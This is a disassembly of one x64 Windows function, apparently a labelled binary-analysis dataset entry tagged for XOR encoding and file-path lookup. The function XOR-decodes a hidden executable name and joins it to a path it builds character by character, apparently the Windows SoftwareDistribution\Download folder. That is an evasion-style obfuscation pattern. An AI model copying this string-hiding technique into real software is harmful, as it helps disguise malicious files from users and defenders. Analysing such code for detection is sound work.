Function at 0x180002f90
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x180011040]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov rsi, rcx
mov qword [rbp - 0x28], rcx
xor r15d, r15d
mov edx, 0x100
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [r15 + 0x5c]
xor edx, edx
call fcn.1800022d0
mov word [rsp + 0x30], ax
lea ecx, [r15 + 0x53]
lea edx, [rcx - 0x52]
call fcn.1800022d0
mov word [rsp + 0x32], ax
lea ecx, [r15 + 0x6f]
lea edx, [rcx - 0x6d]
call fcn.1800022d0
mov word [rsp + 0x34], ax
lea ecx, [r15 + 0x66]
lea edx, [rcx - 0x63]
call fcn.1800022d0
mov word [rsp + 0x36], ax
lea ecx, [r15 + 0x74]
lea edx, [rcx - 0x70]
call fcn.1800022d0
mov word [rsp + 0x38], ax
lea ecx, [r15 + 0x77]
lea edx, [rcx - 0x72]
call fcn.1800022d0
mov word [rsp + 0x3a], ax
lea ecx, [r15 + 0x61]
lea edx, [rcx - 0x5b]
call fcn.1800022d0
mov word [rsp + 0x3c], ax
lea ecx, [r15 + 0x72]
lea edx, [rcx - 0x6b]
call fcn.1800022d0
mov word [rsp + 0x3e], ax
lea ecx, [r15 + 0x65]
lea edx, [rcx - 0x5d]
call fcn.1800022d0
mov word [rsp + 0x40], ax
lea ecx, [r15 + 0x44]
lea edx, [rcx - 0x3b]
call fcn.1800022d0
mov word [rsp + 0x42], ax
lea ecx, [r15 + 0x69]
lea edx, [rcx - 0x5f]
call fcn.1800022d0
mov word [rsp + 0x44], ax
lea ecx, [r15 + 0x73]
lea edx, [rcx - 0x68]
call fcn.1800022d0
mov word [rsp + 0x46], ax
lea ecx, [r15 + 0x74]
lea edx, [rcx - 0x68]
call fcn.1800022d0
mov word [rsp + 0x48], ax
lea ecx, [r15 + 0x72]
lea edx, [rcx - 0x65]
call fcn.1800022d0
mov word [rsp + 0x4a], ax
lea ecx, [r15 + 0x69]
lea edx, [rcx - 0x5b]
call fcn.1800022d0
mov word [rsp + 0x4c], ax
lea ecx, [r15 + 0x62]
lea edx, [rcx - 0x53]
call fcn.1800022d0
mov word [rsp + 0x4e], ax
lea ecx, [r15 + 0x75]
lea edx, [rcx - 0x65]
call fcn.1800022d0
mov word [rsp + 0x50], ax
lea ecx, [r15 + 0x74]
lea edx, [rcx - 0x63]
call fcn.1800022d0
mov word [rsp + 0x52], ax
lea ecx, [r15 + 0x69]
lea edx, [rcx - 0x57]
call fcn.1800022d0
mov word [rsp + 0x54], ax
lea ecx, [r15 + 0x6f]
lea edx, [rcx - 0x5c]
call fcn.1800022d0
mov word [rsp + 0x56], ax
lea ecx, [r15 + 0x6e]
lea edx, [rcx - 0x5a]
call fcn.1800022d0
mov word [rsp + 0x58], ax
lea ecx, [r15 + 0x5c]
lea edx, [rcx - 0x47]
call fcn.1800022d0
mov word [rsp + 0x5a], ax
lea ecx, [r15 + 0x44]
lea edx, [rcx - 0x2e]
call fcn.1800022d0
mov word [rsp + 0x5c], ax
lea ecx, [r15 + 0x6f]
lea edx, [rcx - 0x58]
call fcn.1800022d0
mov word [rsp + 0x5e], ax
lea ecx, [r15 + 0x77]
lea edx, [rcx - 0x5f]
call fcn.1800022d0
mov word [rsp + 0x60], ax
lea ecx, [r15 + 0x6e]
lea edx, [rcx - 0x55]
call fcn.1800022d0
mov word [rsp + 0x62], ax
lea ecx, [r15 + 0x6c]
lea edx, [rcx - 0x52]
call fcn.1800022d0
mov word [rsp + 0x64], ax
lea ecx, [r15 + 0x6f]
lea edx, [rcx - 0x54]
call fcn.1800022d0
mov word [rsp + 0x66], ax
lea ecx, [r15 + 0x61]
lea edx, [rcx - 0x45]
call fcn.1800022d0
mov word [rsp + 0x68], ax
lea ecx, [r15 + 0x64]
lea edx, [rcx - 0x47]
call fcn.1800022d0
mov word [rsp + 0x6a], ax
lea ecx, [r15 + 0x5c]
lea edx, [rcx - 0x3e]
call fcn.1800022d0
mov word [rsp + 0x6c], ax
xor ecx, ecx
lea edx, [rcx + 0x1f]
call fcn.1800022d0
mov word [rsp + 0x6e], ax
lea edx, [r15 + 0x20]
movzx ecx, word [str.runas]
call fcn.1800022d0
mov word [rsp + 0x70], ax
lea edx, [r15 + 0x21]
movzx ecx, word [0x18000d7e2]
call fcn.1800022d0
mov word [rsp + 0x72], ax
lea edx, [r15 + 0x22]
movzx ecx, word [0x18000d7e4]
call fcn.1800022d0
mov word [rsp + 0x74], ax
lea edx, [r15 + 0x23]
movzx ecx, word [0x18000d7e6]
call fcn.1800022d0
mov word [rsp + 0x76], ax
lea edx, [r15 + 0x24]
movzx ecx, word [0x18000d7e8]
call fcn.1800022d0
mov word [rsp + 0x78], ax
lea edx, [r15 + 0x25]
movzx ecx, word [0x18000d7ea]
call fcn.1800022d0
mov word [rsp + 0x7a], ax
lea edx, [r15 + 0x26]
movzx ecx, word [0x18000d7ec]
call fcn.1800022d0
mov word [rsp + 0x7c], ax
lea edx, [r15 + 0x27]
movzx ecx, word [0x18000d7ee]
call fcn.1800022d0
mov word [rsp + 0x7e], ax
lea edx, [r15 + 0x28]
movzx ecx, word [0x18000d7f0]
call fcn.1800022d0
mov word [rbp - 0x80], ax
lea edx, [r15 + 0x29]
movzx ecx, word [0x18000d7f2]
call fcn.1800022d0
mov word [rbp - 0x7e], ax
lea edx, [r15 + 0x2a]
movzx ecx, word [0x18000d7f4]
call fcn.1800022d0
mov word [rbp - 0x7c], ax
lea edx, [r15 + 0x2b]
movzx ecx, word [0x18000d7f6]
call fcn.1800022d0
mov word [rbp - 0x7a], ax
lea edx, [r15 + 0x2c]
movzx ecx, word [0x18000d7f8]
call fcn.1800022d0
mov word [rbp - 0x78], ax
lea edx, [r15 + 0x2d]
movzx ecx, word [0x18000d7fa]
call fcn.1800022d0
mov word [rbp - 0x76], ax
lea edx, [r15 + 0x2e]
movzx ecx, word [0x18000d7fc]
call fcn.1800022d0
mov word [rbp - 0x74], ax
lea edx, [r15 + 0x2f]
movzx ecx, word [0x18000d7fe]
call fcn.1800022d0
mov word [rbp - 0x72], ax
lea edx, [r15 + 0x30]
movzx ecx, word [str..exe]
call fcn.1800022d0
mov word [rbp - 0x70], ax
lea edx, [r15 + 0x31]
movzx ecx, word [0x18000d802]
call fcn.1800022d0
mov word [rbp - 0x6e], ax
lea edx, [r15 + 0x32]
movzx ecx, word [0x18000d804]
call fcn.1800022d0
mov word [rbp - 0x6c], ax
lea edx, [r15 + 0x33]
movzx ecx, word [0x18000d806]
call fcn.1800022d0
mov word [rbp - 0x6a], ax
lea edx, [r15 + 0x34]
movzx ecx, word [0x18000d808]
call fcn.1800022d0
mov word [rbp - 0x68], ax
lea edx, [r15 + 0x35]
movzx ecx, word [0x18000d80a]
call fcn.1800022d0
mov word [rbp - 0x66], ax
lea edx, [r15 + 0x36]
movzx ecx, word [0x18000d80c]
call fcn.1800022d0
mov word [rbp - 0x64], ax
lea edx, [r15 + 0x37]
movzx ecx, word [0x18000d80e]
call fcn.1800022d0
mov word [rbp - 0x62], ax
lea edx, [r15 + 0x38]
movzx ecx, word [0x18000d810]
call fcn.1800022d0
mov word [rbp - 0x60], ax
lea edx, [r15 + 0x39]
movzx ecx, word [0x18000d812]
call fcn.1800022d0
mov word [rbp - 0x5e], ax
lea edx, [r15 + 0x3a]
movzx ecx, word [0x18000d814]
call fcn.1800022d0
mov word [rbp - 0x5c], ax
lea edx, [r15 + 0x3b]
movzx ecx, word [0x18000d816]
call fcn.1800022d0
mov word [rbp - 0x5a], ax
lea edx, [r15 + 0x3c]
movzx ecx, word [0x18000d818]
call fcn.1800022d0
mov word [rbp - 0x58], ax
lea edx, [r15 + 0x3d]
movzx ecx, word [0x18000d81a]
call fcn.1800022d0
mov word [rbp - 0x56], ax
lea edx, [r15 + 0x3e]
movzx ecx, word [0x18000d81c]
call fcn.1800022d0
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov r8d, 0x133
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x30]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
xor word [rdx], cx
inc eax
cmp eax, 0x3f
jb 0x180003480
mov word [rbp - 0x52], r15w
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x20]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x1800034c0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x50]
call fcn.180008600
nop
lea rax, [rsp + 0x30]
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1800034e0
mov r14, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, r14
cmp rdi, rax
ja 0x180003533
lea rax, [r14 + rdi]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rcx, 7
cmova rbx, qword [rbp - 0x50]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r15w
lea rax, [rbp - 0x50]
jmp 0x180003549
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x30]
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.180008420
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsi + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x1800035b8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800035b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800035b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000b77c
mov rax, rsi
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.18000b3b0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret